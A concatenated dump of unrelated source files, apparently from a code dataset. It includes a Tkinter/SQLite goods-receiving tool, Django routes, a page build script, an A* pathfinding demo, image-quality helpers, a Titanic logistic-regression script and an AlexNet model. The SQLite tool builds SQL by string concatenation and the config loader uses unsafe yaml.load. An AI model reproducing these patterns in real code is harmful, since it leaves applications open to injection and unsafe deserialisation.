tkinter import ttk\n\n# coding:utf-8\nbanco = sqlite3.connect('sesvtrambit.db')\ncursor = banco.cursor()\n\n\nplanejamento = Tk()\nplanejamento.title(\"Planejamento - Sadic2\")\nplanejamento.geometry(\"1000x400+150+150\")\nplanejamento.configure(background=\"white\")\nplanejamento.iconbitmap('images/icon.ico')\n\n\n\ndef our_command():\n print ('hellow menu')\n\ndef telarecebimento():\n \n def abrirxml():\n filenames1 = filedialog.askopenfilenames(filetypes=[(\"Arquivo XML\", (\".xml\",)), (\"arquivo de texto\", \".txt\")])\n print (filenames1)\n caminhoXML= str(filenames1[0])\n \n #insere no banco\n def retornaDicionario (xml):\n return xmltodict.parse(xml)\n \n #mostrarsesv\n\n def inserirNoBanco(dicionario):\n sesv1 = \"00001\"\n enderecoraiz = \"REC.R00.P00.N00\"\n #cursor.execute(\" CREATE TABLE '\"+sesv1+\"' (endereco text,ean integer,quantidade integer)\")\n #cursor.execute(\" INSERT INTO '\"+sesv1+\"' ('endereco' , 'ean', 'quantidade') VALUES ( '\"+enderecoraiz+\"', '\"+dicionario['ean']+\"' , '\"+dicionario['quantidade']+\"')\")\n #banco.commit()\n\n \n\n \n if __name__ == '__main__':\n with open (caminhoXML) as f:\n data = f.read()\n \n frameViewSesv = Frame(planejamento,relief=\"solid\", borderwidth=1, width=400,height=400,bg=\"white\",pady=5,padx=5)\n frameViewSesv.place(x=600, y=50)\n dicionario = retornaDicionario(data)\n #print(dicionario)\n linha = 0\n for i in dicionario['sesv']['produtos']:\n varean = i['ean']\n varqtd = i['quantidade']\n \n labelViewSesvean = Label(frameViewSesv,text=varean,font=(\"Century Gothic\", 13, BOLD), padx=10,pady=5,bg='white',relief=\"solid\", borderwidth=1 )\n labelViewSesvean.grid(row=linha,column=0)\n labelViewSesvqtd = Label(frameViewSesv,text=varqtd,font=(\"Century Gothic\", 13, BOLD),padx=36,pady=5,bg='white',relief=\"solid\", borderwidth=1 )\n labelViewSesvqtd.grid(row=linha,column=1,padx=12)\n linha = linha+1\n print(\"ean --\" + i['ean'] + \" \"\"quantidade --\" + i['quantidade'])\n #print(\"quantidade -\" + i['quantidade'])\n\n \n labelViewSesveanp = Label(planejamento,text=\"EAN\",relief=\"solid\", borderwidth=1,font=(\"Century Gothic\", 13, BOLD), padx=5,pady=5,anchor =W,width=15,bg='white' )\n labelViewSesveanp.place(x=600, y=20)\n labelViewSesvqtdp = Label(planejamento,text=\"Quantidade\",relief=\"solid\", borderwidth=1,font=(\"Century Gothic\", 13, BOLD), padx=5,pady=5,anchor =W,width=10,bg='white' )\n labelViewSesvqtdp.place(x=760, y=20)\n \n\n def inserirNoBanco():\n sesv1 = \"00001\"\n enderecoraiz = \"REC.R00.P00.N00\"\n #cursor.execute(\" CREATE TABLE '\"+sesv1+\"' (endereco text,ean integer,quantidade integer)\")\n cursor.execute(\" INSERT INTO '\"+sesv1+\"' ('endereco' , 'ean', 'quantidade') VALUES ( '\"+enderecoraiz+\"', '\"+dicionario['ean']+\"' , '\"+dicionario['quantidade']+\"')\")\n banco.commit()\n\n \n \n if __name__ == '__main__':\n with open (caminhoXML) as f:\n data = f.read()\n \n dicionario = retornaDicionario(data)\n #print(dicionario)\n for i in dicionario['sesv']['produtos']:\n inserirNoBanco(i)\n \n\n \n def abrirxlsx():\n filenames2 = filedialog.askopenfilenames(filetypes=[(\"Arquivo Excel\", (\".xlsx\",)),(\"Arquivo Excel < 2016\",(\".xls\",))])\n print (filenames2)\n \n Labelprincipal = Label(planejamento, text=\"Receber Notas\", borderwidth=1, relief = \"solid\", font = (\"ArialBlack\",19, BOLD),pady=5,padx=5)\n Labelprincipal.place(x=80, y=30)\n botaocarregarSESV = ttk.Button(planejamento, text =\"Receber nota\")\n botaocarregarSESV.place(x=900, y=350)\n Frameuploud = Frame(planejamento, pady=7, padx=7, bg = \"Gainsboro\", borderwidth=1,relief = \"solid\")\n Frameuploud.place(x=50, y=100)\n LabelFrame = Label(Frameuploud, text = \"Carregar arquivo XML\", borderwidth=1, relief=\"solid\",anchor=N, pady=9,padx=40, font = (\"ArialBlack\",10, BOLD),)\n LabelFrame.pack(side= \"top\")\n botaoXML = ttk.Button(Frameuploud, text =\"Procurar\",command=abrirxml)\n botaoXML.pack(side= \"bottom\")\n\n Frameuploud2 = Frame(planejamento, pady=7, padx=10, bg = \"Gainsboro\", borderwidth=1,relief = \"solid\")\n Frameuploud2.place(x=50, y=200)\n LabelFrame = Label(Frameuploud2, text = \"Carregar Banco de Excel\",borderwidth=1, relief=\"solid\",anchor=N,font = (\"ArialBlack\",10, BOLD),pady=9,padx=28,)\n LabelFrame.pack(side=\"top\")\n botaoExcel = ttk.Button(Frameuploud2, text =\"Procurar\",command=abrirxlsx)\n botaoExcel.pack(side=\"bottom\")\n\n \n \n\nmy_menu = Menu(planejamento)\nplanejamento.config(menu=my_menu)\n\nfile_menu = Menu(my_menu)\nmy_menu.add_cascade(label=\"Recebimento\", menu=file_menu)\nfile_menu.add_command(label=\"Carregar Notas\", command=telarecebimento)\n\n\n\nfile_menu.add_command(label=\"Gerar Lista de Separação\")\nfile_menu.add_command(label=\"Expedir Carga\", command= our_command )\nfile_menu.add_command(label=\"Sair\",command = planejamento.quit)\n\n\nplanejamento.mainloop()\n","sub_path":"planejamento.py","file_name":"planejamento.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327418979","text":"from django.conf.urls import url,include\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns=[\n url('^$',views.welcome,name='welcome'),\n url(r'^profile/edit$',views.update_profile,name='edit'),\n url('profile/', views.profile, name='profile'),\n url('^newhood',views.addneighbourhood,name=\"hood\"),\n url(r'^new_business/(?P<pk>\\d+)$',views.new_business,name='new_business'),\n url(r'^hood_details/(?P<neighbourhood_id>\\d+)/$' , views.hood_details, name='detail' ),\n url(r'^new_post/(?P<pk>\\d+)$',views.new_post,name='new_post'),\n url(r'^search/', views.search,name='search'),\n]\nif settings.DEBUG:\n urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)\n","sub_path":"myneighbour/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405109402","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport json\nimport os\nimport subprocess\nimport jinja2\nimport sys\nimport imp\nimport codecs\nimport shutil\nimport errno\nfrom os.path import join as _join\nfrom os.path import dirname as _dir\n\nBASE_DIR = _dir(_dir(os.path.abspath(__file__)))\nSOURCE_DIR = _join(BASE_DIR, \"source\")\nSTATIC_DIR = _join(BASE_DIR, \"static\")\nAPP_DIR = _join(BASE_DIR, \"app\")\n\nclass BuildInfo:\n TEMPLATES_DIR = _join(SOURCE_DIR, \"templates\")\n INTERNAL_DIR = _join(SOURCE_DIR, \"internal\")\n VENDOR_DIR = _join(STATIC_DIR, \"vendor\")\n NODE_MODULES_DIR = _join(SOURCE_DIR, \"node_modules\")\n\n def __init__(self, app_name):\n self.app_name = app_name\n self.clean(self.output_dir)\n\n def build(self):\n build_script = _join(self.source_dir, \"build.py\")\n if os.path.isfile(build_script) and os.access(build_script, os.X_OK):\n build_mod = imp.load_source(self.app_name + 'builder', build_script)\n return build_mod.build(self)\n\n @staticmethod\n def clean(dirname):\n try:\n shutil.rmtree(dirname, ignore_errors=True)\n os.makedirs(dirname)\n except OSError as exception:\n if exception.errno != errno.EEXIST:\n raise\n\n @classmethod\n def which(cls, executable, path=None):\n if path is None:\n path = os.environ['PATH']\n paths = path.split(os.pathsep)\n extlist = ['']\n if sys.platform == 'win32':\n pathext = os.environ['PATHEXT'].lower().split(os.pathsep)\n (base, ext) = os.path.splitext(executable)\n if ext.lower() not in pathext:\n extlist = pathext\n for ext in extlist:\n execname = executable + ext\n if os.path.isfile(execname):\n return execname\n else:\n for p in paths:\n f = os.path.join(p, execname)\n if os.path.isfile(f):\n return f\n else:\n return None\n\n @property\n def output_dir(self):\n return _join(APP_DIR, self.app_name)\n\n @property\n def source_dir(self):\n return _join(self.INTERNAL_DIR, self.app_name)\n\n @classmethod\n def get_internal_app(cls):\n return os.listdir(cls.INTERNAL_DIR)\n\n @property\n def babel_bin(self):\n return _join(self.NODE_MODULES_DIR, \"babel-cli\", \"bin\", \"babel.js\")\n\n @property\n def babel_preset(self):\n return _join(self.NODE_MODULES_DIR, \"babel-preset-react\")\n\n @property\n def node_bin(self):\n return self.which('node')\n\n @classmethod\n def render(cls, name, output, data={}, extra=[]):\n loader = jinja2.FileSystemLoader([cls.TEMPLATES_DIR] + extra)\n env = jinja2.Environment(\n loader=loader\n )\n template = env.get_template(name)\n template.stream(data).dump(output)\n\n @staticmethod\n def dump_json(data, output_path):\n with codecs.open(output_path, \"w\", \"utf-8\") as output_file:\n json.dump(data, output_file, ensure_ascii=False)\n\ndef build_internal():\n internal_app = []\n for app_name in BuildInfo.get_internal_app():\n build_info = BuildInfo(app_name)\n app_info = build_info.build()\n if app_info:\n internal_app.append(app_info)\n return internal_app\n\n\ndef build_external():\n return [\n {\n \"name\": \"code\",\n \"title\": \"代码浏览器\",\n \"desc\": \"基于web界面的代码浏览查询系统\",\n \"children\": [\n {\n \"title\": \"OpenGrok\",\n \"url\": \"http://9.61.1.31:38080/source\",\n \"desc\": \"OpenGrok是一个开源的代码索引,浏览,搜索工具\"\n },\n {\n \"title\": \"CGit\",\n \"url\": \"http://9.61.1.31:38000/cgit/\",\n \"desc\": \"CGit是一个开源的git网络界面程序,可以通过浏览器快速的浏览git代码库\"\n }\n ]\n },\n {\n \"name\": \"management\",\n \"title\": \"后台管理\",\n \"desc\": \"后台管理界面\",\n \"children\": [\n {\n \"title\": \"Neo4j\",\n \"desc\": \"Neo4j Browser,neo4j数据库的网页版GUI\",\n \"url\": \"http://9.61.1.31:37474/browser/\"\n }\n ]\n },\n {\n \"name\": \"documents\",\n \"title\": \"文档浏览器\",\n \"desc\": \"访问各种文档文件的界面\",\n \"children\": [\n {\n \"title\": \"Everything\",\n \"desc\": \"devtools相关文档的eventhing界面\",\n \"url\": \"http://9.61.200.1\"\n },\n {\n \"title\": \"FileServer VNC\",\n \"desc\": \"文件共享服务器VNC界面\",\n \"url\": \"http://9.61.1.31:34200/vnc_lite.html\"\n },\n ]\n }\n ]\n\ndef build():\n pages = {\n \"name\": \"pages\",\n \"title\": \"devtools知识管理系统\",\n \"desc\": \"常用系统和工具合集\",\n \"children\": [\n {\n \"title\": \"内部工具\",\n \"desc\": \"内部开发的工具\",\n \"children\": build_internal(),\n \"internal\": True\n },\n {\n \"title\": \"相关子系统\",\n \"desc\": \"连接到外部系统\",\n \"children\": build_external(),\n \"internal\": False\n }\n ]\n }\n BuildInfo.render('app.nginx.tpl', _join(APP_DIR, 'app.conf'), {\"pages\": pages})\n BuildInfo.render('index.tpl', _join(APP_DIR, 'index.html'), {\"pages\": pages})\n BuildInfo.dump_json(pages, _join(APP_DIR, \"pages.json\"))\n\nif __name__ == \"__main__\":\n build()","sub_path":"frontend/pages/source/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"555476888","text":"import subprocess\nimport glob\nimport os\nfrom pprint import pprint\n\nfiles = glob.glob('_posts/*.md')\nfor fname in files:\n basename = os.path.basename(fname)[:-3]\n parts = basename.split('-')\n parts = [parts[0], parts[1], parts[2], '-'.join(parts[3:])]\n dirname = os.path.join(*(['blog']+parts))\n newpath = dirname[4:]+'.html'\n proc = subprocess.Popen(['mkdir', '-p', dirname])\n proc.wait()\n f = open(os.path.join(dirname, 'index.html'), 'w')\n f.write('''<!DOCTYPE html>\n<html><head><meta http-equiv=\"Refresh\" content=\"0;url=%s\" /><title>RedirectingRedirecting to %s\n''' % (newpath,newpath,newpath))\n f.close()\n","sub_path":"_makeredirects.py","file_name":"_makeredirects.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"460408287","text":"# -*- coding: utf-8 -*-\n# import os,sys #这几行(2~4)在安装了之后可以省略\n# parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) \n# sys.path.insert(0,parentdir) \n\nfrom MF_Sim.LF_Sim import simulator\n\nimport numpy as np\nimport time\n \nclass Node_Elem:\n \"\"\"\n 开放列表和关闭列表的元素类型,parent用来在成功的时候回溯路径\n \"\"\"\n def __init__(self, parent, x, y, dist):\n self.parent = parent\n self.x = x\n self.y = y\n self.dist = dist\n \nclass A_Star:\n \"\"\"\n A星算法实现类\n \"\"\"\n #注意w,h两个参数,如果你修改了地图,需要传入一个正确值或者修改这里的默认参数\n #s代表起点,e代表终点\n def __init__(self, s_x, s_y, e_x, e_y, L=30, W=30,test_map=[]):\n self.s_x = s_x\n self.s_y = s_y\n self.e_x = e_x\n self.e_y = e_y\n \n self.length = L\n self.width = W\n self.test_map=test_map\n\n self.open = []\n self.close = []\n self.path = []\n\n #查找路径的入口函数\n def find_path(self):\n #构建开始节点\n p = Node_Elem(None, self.s_x, self.s_y, 0.0)\n while True:\n #扩展F值最小的节点\n self.extend_round(p)\n #如果开放列表为空,则不存在路径,返回\n if not self.open:\n return\n #获取F值最小的节点\n idx, p = self.get_best()\n #找到路径,生成路径,返回\n if self.is_target(p):\n self.make_path(p)\n return\n #把此节点压入关闭列表,并从开放列表里删除\n self.close.append(p)\n del self.open[idx]\n \n def make_path(self,p):\n #从结束点回溯到开始点,开始点的parent == None\n while p:\n self.path.insert(0,(p.x, p.y))\n p = p.parent\n \n def is_target(self, i):\n return i.x == self.e_x and i.y == self.e_y\n \n def get_best(self):\n best = None\n bv = 1000000 #如果你修改的地图很大,可能需要修改这个值\n bi = -1\n for idx, i in enumerate(self.open):\n value = self.get_dist(i)#获取F值\n if value < bv:#比以前的更好,即F值更小\n best = i\n bv = value\n bi = idx\n return bi, best\n \n def get_dist(self, i):\n # F = G + H\n # G 为已经走过的路径长度, H为估计还要走多远\n # 这个公式就是A*算法的精华了。\n return i.dist + ((self.e_x-i.x)+(self.e_y-i.y))\n \n def extend_round(self, p):\n #只能走上下左右四个方向\n xs = (0, -1, 1, 0)\n ys = (-1, 0, 0, 1)\n for x, y in zip(xs, ys):\n new_x, new_y = x + p.x, y + p.y\n #无效或者不可行走区域,则忽略\n if not self.is_valid_coord(new_x, new_y):\n continue\n #构造新的节点\n node = Node_Elem(p, new_x, new_y, p.dist+1)\n #新节点在关闭列表,则忽略\n if self.node_in_close(node):\n continue\n i = self.node_in_open(node)\n if i != -1:\n #新节点在开放列表\n if self.open[i].dist > node.dist:\n #现在的路径到比以前到这个节点的路径更好\n #则使用现在的路径\n self.open[i].parent = p\n self.open[i].dist = node.dist\n continue\n self.open.append(node)\n \n def node_in_close(self, node):\n for i in self.close:\n if node.x == i.x and node.y == i.y:\n return True\n return False\n \n def node_in_open(self, node):\n for i, n in enumerate(self.open):\n if node.x == n.x and node.y == n.y:\n return i\n return -1\n \n def is_valid_coord(self, x, y):\n if x < 0 or x >= self.length or y < 0 or y >= self.width:\n return False\n return self.test_map[x][y] != 1\n \ndef find_path(s_x,s_y,e_x,e_y,o_map):\n a_star = A_Star(s_x, s_y, e_x, e_y, 30 ,30,o_map)\n a_star.find_path()\n path = a_star.path\n print ('路径长度为',len(path))\n return path\n\ndef act_judge(pos1,pos2,direct): #用于判断方向为direct时,agent经过什么动作能从pos1变换到pos2\n if pos1 is None or pos2 is None:\n return 0\n action=None\n for act_test in range(5): #遍历所有动作,依此判断经过哪个动作能够从pos1变换到pos2\n #直行\n if act_test == 2:\n x_new = pos1[0] + np.cos(np.pi*theta[direct])\n y_new = pos1[1] + np.sin(np.pi*theta[direct])\n #后退\n elif act_test == 4:\n x_new = pos1[0] - np.cos(np.pi*theta[direct])\n y_new = pos1[1] - np.sin(np.pi*theta[direct])\n #左行\n elif act_test == 3:\n x_new = pos1[0] - np.sin(np.pi*theta[direct])\n y_new = pos1[1] + np.cos(np.pi*theta[direct])\n #右行\n elif act_test == 1:\n x_new = pos1[0] + np.sin(np.pi*theta[direct])\n y_new = pos1[1] - np.cos(np.pi*theta[direct])\n #不动\n else:\n x_new = pos1[0]\n y_new = pos1[1]\n if x_new==pos2[0] and y_new==pos2[1]:\n action=act_test\n return action\n\nif __name__ == \"__main__\":\n theta=[0, 0.5, 1, 1.5] #角度辅助参数\n agent=simulator.Agent(vel=1) #将agent的速度调整为1\n agents=[]\n agents.append(agent)\n env=simulator.Full_env(30, 30, True,1,agents)\n o_map=env.get_o_map()\n state=env.get_state()\n pos_x=state[0][0]\n pos_y=state[0][1]\n goal_x=state[0][2]\n goal_y=state[0][3]\n direct=state[0][4]\n vel=state[0][5]\n print('agent的初始状态:pos.x=',pos_x,'pos.y=',pos_y,\n 'goal.x=',goal_x,'goal.y=',goal_y,'direct=',direct,'vel=',vel)\n\n path=find_path(pos_x,pos_y,goal_x,goal_y,o_map)\n print('路径:',path)\n\n pos_former=None #用于储存前一个点的坐标\n for pos in path:\n time.sleep(0.1)\n state=env.get_state()\n direct=state[0][4] #得到朝向\n act=act_judge(pos_former,pos,direct)\n if act>0 and act<=4:\n env.render(0)\n env.step([act])\n pos_former=pos\n","sub_path":"example/test_A_star_LF.py","file_name":"test_A_star_LF.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448489055","text":"# -*- coding: utf-8; -*-\n\"\"\"\nCopyright (c) 2018 Rolf Hempel, rolf6419@gmx.de\n\nThis file is part of the PlanetarySystemStacker tool (PSS).\nhttps://github.com/Rolf-Hempel/PlanetarySystemStacker\n\nPSS is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with PSS. If not, see .\n\n\"\"\"\n\nfrom numpy import sqrt, average, diff, sum, hypot\nfrom numpy import unravel_index, argmax\nfrom numpy.fft import fft2, ifft2\nfrom scipy.ndimage import sobel\n\n\nclass Miscellaneous(object):\n \"\"\"\n This class provides static methods for various auxiliary purposes.\n\n \"\"\"\n\n @staticmethod\n def quality_measure(frame):\n \"\"\"\n Measure the amount of structure in a rectangular frame in both coordinate directions and\n return the minimum value.\n\n :param frame: 2D image\n :return: Measure for amount of local structure in the image (scalar)\n \"\"\"\n\n # Compute for each point the local gradient in both coordinate directions.\n dx = diff(frame)[:, :]\n dy = diff(frame, axis=0)[:, :]\n\n # Compute the sharpness per coordinate direction as the 2-norm of point values.\n sharpness_x = average(sqrt(dx ** 2))\n sharpness_y = average(sqrt(dy ** 2))\n\n # Return the sharpness in the direction where it is minimal.\n sharpness = min(sharpness_x, sharpness_y)\n return sharpness\n\n\n @staticmethod\n def quality_measure_alternative(frame, black_threshold=40.):\n \"\"\"\n This is an alternative method for computing the amount of local structure. Here the\n summation only takes into accound points where the luminosity exceeds a certain\n threshold.\n\n :param frame: 2D image\n :param black_threshold: Threshold for points to be considered\n :return:\n \"\"\"\n\n sum_horizontal = sum(sum(abs(frame[:, 2:] - frame[:, :-2]) / (frame[:, 1:-1] + 0.0001) * (\n frame[:, 1:-1] > black_threshold)))\n sum_vertical = sum(sum(abs(frame[2:, :] - frame[:-2, :]) / (frame[1:-1, :] + 0.0001) * (\n frame[1:-1, :] > black_threshold)))\n return min(sum_horizontal, sum_vertical)\n\n\n @staticmethod\n def local_contrast_sobel(frame):\n \"\"\"\n Compute a measure for local contrast in an image using the Sobel method.\n\n :param frame: 2D image\n :return: Overall sharpness measure (scalar)\n \"\"\"\n\n frame_int32 = frame.astype('int32')\n dx = sobel(frame_int32, 0) # vertical derivative\n dy = sobel(frame_int32, 1) # horizontal derivative\n mag = hypot(dx, dy) # magnitude\n sharpness = sum(mag)\n return sharpness\n\n\n @staticmethod\n def local_contrast(frame, stride):\n \"\"\"\n Compute a measure for local contrast in an image based on local gradients. Down-sample the\n image by factor \"stride\" before measuring the contrast.\n\n :param frame: 2D image\n :param stride: Factor for down-sampling\n :return: Overall measure for local contrast (scalar)\n \"\"\"\n frame_strided = frame[::stride, ::stride]\n\n # Remove a row or column, respectively, to make the dx and dy arrays of the same shape.\n dx = diff(frame_strided)[1:, :] # remove the first row\n dy = diff(frame_strided, axis=0)[:, 1:] # remove the first column\n dnorm = sqrt(dx ** 2 + dy ** 2)\n sharpness = average(dnorm)\n return sharpness\n\n\n @staticmethod\n def translation(frame_0, frame_1, shape):\n \"\"\"\n Compute the translation vector of frame_1 relative to frame_0 using phase correlation.\n\n :param frame_0: Reference frame\n :param frame_1: Frame shifted slightly relative to frame_0\n :param shape: Shape of frames\n :return: [shift in y, shift in x] of frame_1 relative to frame_0. More precisely:\n frame_1 must be shifted by this amount to register with frame_0.\n \"\"\"\n\n # Compute the fast Fourier transforms of both frames.\n f0 = fft2(frame_0)\n f1 = fft2(frame_1)\n\n # Compute the phase correlation. The resulting image has a bright peak at the pixel location\n # which corresponds to the shift vector.\n ir = abs(ifft2((f0 * f1.conjugate()) / (abs(f0) * abs(f1))))\n\n # Compute the pixel coordinates of the image maximum.\n ty, tx = unravel_index(argmax(ir), shape)\n\n # Bring the shift values as close as possible to the coordinate origin.\n if ty > shape[0] // 2:\n ty -= shape[0]\n if tx > shape[1] // 2:\n tx -= shape[1]\n\n return [ty, tx]\n\n\n @staticmethod\n def insert_cross(frame, y_center, x_center, cross_half_len, color):\n \"\"\"\n Insert a colored cross into an image at a given location.\n\n :param frame: Image into which the cross is to be inserted\n :param y_center: y pixel coordinate of the center of the cross\n :param x_center: x pixel coordinate of the center of the cross\n :param cross_half_len: Extension of the cross from center in all four directions\n :param color: Color, one out of \"white\", \"red\", \"green\" and \"blue\"\n :return: -\n \"\"\"\n\n shape_y, shape_x = frame.shape[0:2]\n\n if color == 'white':\n rgb = [255, 255, 255]\n elif color == 'red':\n rgb = [255, 0, 0]\n elif color == 'green':\n rgb = [0, 255, 0]\n elif color == 'blue':\n rgb = [0, 0, 255]\n elif color == 'cyan':\n rgb = [0, 255, 255]\n else:\n rgb = [255, 255, 255]\n\n # Be sure not to draw beyond frame boundaries.\n if 0 <= x_center < shape_x:\n for y in range(y_center - cross_half_len, y_center + cross_half_len + 1):\n if 0 <= y < shape_y:\n frame[y, x_center] = rgb\n if 0 <= y_center < shape_y:\n for x in range(x_center - cross_half_len, x_center + cross_half_len + 1):\n if 0 <= x < shape_x:\n frame[y_center, x] = rgb\n\n\n @staticmethod\n def circle_around(x, y, r):\n \"\"\"\n Create an iterator which returns y, x pixel coordinates around a given position in an\n image. Successive elements describe a circle around y, x with distance r (in the 1-norm).\n The iterator ends when the full circle is traversed.\n\n :param x: x coordinate of the center location\n :param y: y coordinate of the center location\n :param r: distance of the iterator items from position (y, x) (1-norm, in pixels)\n :return: -\n \"\"\"\n\n # Special case 0: The only iterator element is the center point itself.\n if r == 0:\n yield (x, y)\n\n # For the general case, set the first element and circle around (y, x) counter-clockwise.\n i, j = x - r, y - r\n while i < x + r:\n i += 1\n yield (i, j)\n while j < y + r:\n j += 1\n yield (i, j)\n while i > x - r:\n i -= 1\n yield (i, j)\n while j > y - r:\n j -= 1\n yield (i, j)\n","sub_path":"Source/miscellaneous.py","file_name":"miscellaneous.py","file_ext":"py","file_size_in_byte":7603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"94617691","text":"'''\nCreated on 15.10.2014\n\n@author: Matias\n'''\n\nimport yaml\n\nclass Configuration(object):\n def load(self, conf_filename):\n with open(conf_filename, \"r\") as conf_file:\n conf_yaml = yaml.load(conf_file)\n self.SERVER = conf_yaml[\"server\"]\n self.PORT = conf_yaml[\"port\"]\n self.NICK = conf_yaml[\"nick\"]\n self.CHANNELS = conf_yaml[\"channels\"]\n","sub_path":"src/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"341640080","text":"#tutorial script with concepts borrowed from datacamp course work\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\n#Import data from CSV file\ntrain = pd.read_csv('titanic.csv')\n\n#Analyze the data\n#print(train.count())\n#print(train.describe())\n#Check the missing data using heatmap The contrast color shows the missing data\nsns.heatmap(train.isnull(), yticklabels=False, cbar= False, cmap='summer',annot=True, fmt=\"d\")\n#plt.show() #raw dataset\n\n\n# Create a function to return average age based on passenger class to reduce null data\ndef avg_age(col):\n Age = col[0]\n Pclass = col[1]\n\n if pd.isnull(Age):\n if Pclass == 1:\n return 37\n elif Pclass == 2:\n return 29\n else:\n return 24\n else:\n return Age\n\n\n# Fill values by appling a defined function(should be backed by industry specific knowledge)\ntrain['age'] = train[['age', 'pclass']].apply(avg_age, axis=1)\n\n# Check the heatmap\nsns.heatmap(train.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n#plt.show() #after minimalizing the missing vals on age\ntrain.drop(['cabin', 'name', 'ticket','boat'], axis = 1, inplace=True) #inplace = True will not show you the values\n\n#Display columns after dropping\n# print(train.head().columns)\n#pd.get_dummies() converts a set of categorical variables to a series of 1s and 0s\nsex = pd.get_dummies(train['sex'], drop_first = True) #drop_fist = True will drop the first column as not relevant\n\n#Create a new variable embark with two column, if both Q and S are zero it means C is 1.\nembark = pd.get_dummies(train['embarked'], drop_first = True) #first column is not required\n#print(embark.head())\ndest = pd.get_dummies(train['home.dest'], drop_first = True)\n#Drop the old column 'Sex' and 'Embarked'\ntrain.drop(['sex', 'embarked','home.dest'], axis=1, inplace=True)\n\n#Create a new data set with quantitative information\ntrain_new = pd.concat([train, sex,dest], axis=1) # model performs better without embark\n\n# need to find a better way to deal with NaN\ntrain_new=train_new[train_new.survived>=0]# upon inspection, its only one row in survived thats\n#NaN and hence, remove it\nX = train_new.drop('survived', axis = 1) #featureset\ny = train_new['survived'] # label(what we want to determine)\nimputer=Imputer(missing_values=np.nan,strategy='most_frequent',axis=0)\ntransformed_X=imputer.fit_transform(X)# replace NaNs with the most frequent values per column\n\n#split\nX_train, X_test, y_train, y_test = train_test_split(transformed_X, y, test_size = 0.30, random_state = 101)\n#classifier\n\nclf =LogisticRegression()\n# train\nclf.fit(X_train, y_train)\n#predict\npredictions = clf.predict(X_test)\n# Show classification report parameters\nprint('#####################\\n')\nprint (classification_report(y_test, predictions))\n\n# gauging algorithm performance method 2\nkfold = KFold(n_splits=24, random_state=101)\nresult = cross_val_score(clf, X_test, y_test, cv=kfold, scoring='accuracy')\nprint(result.mean())","sub_path":"logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374637923","text":"\"\"\"\n@FileName: AlexNet.py\n@Description: Implement AlexNet\n@Author : Ryuk\n@CreateDate: 2019/11/13 13:47\n@LastEditTime: 2019/11/13 13:47\n@LastEditors: Please set LastEditors\n@Version: v1.0\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\nclass Alexnet(nn.Module):\n def __init__(self, n_classes):\n super(Alexnet, self).__init__()\n\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(64, 192, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n )\n\n self.classifier = nn.Sequential(\n nn.Dropout(p=0.1),\n nn.Linear(256 * 6 * 6, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(p=0.1),\n nn.Linear(4096, 4096),\n nn.ReLU(inplace=True),\n nn.Linear(4096, n_classes),\n )\n\n def forward(self, x):\n assert x.size(-1) == 224\n x = self.features(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\ndef main():\n x = torch.randn(1, 3, 224, 224)\n net = Alexnet(10)\n print(net(x))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"CNN/AlexNet.py","file_name":"AlexNet.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"401980692","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom collections import Counter\nimport re\nimport torch\nfrom torch.utils.data import DataLoader, Dataset\n\n\ndef read_dataset_hindi(file_path):\n\t\"\"\"Read the dataset from the file path, converts it into a dataframe and converts the labels of the required fields to numeric.\n\t\t\n\tArgs:\n\t\tfile_path (str): Path to the text file which we will read.\n\n\tReturns:\n\t\tdf 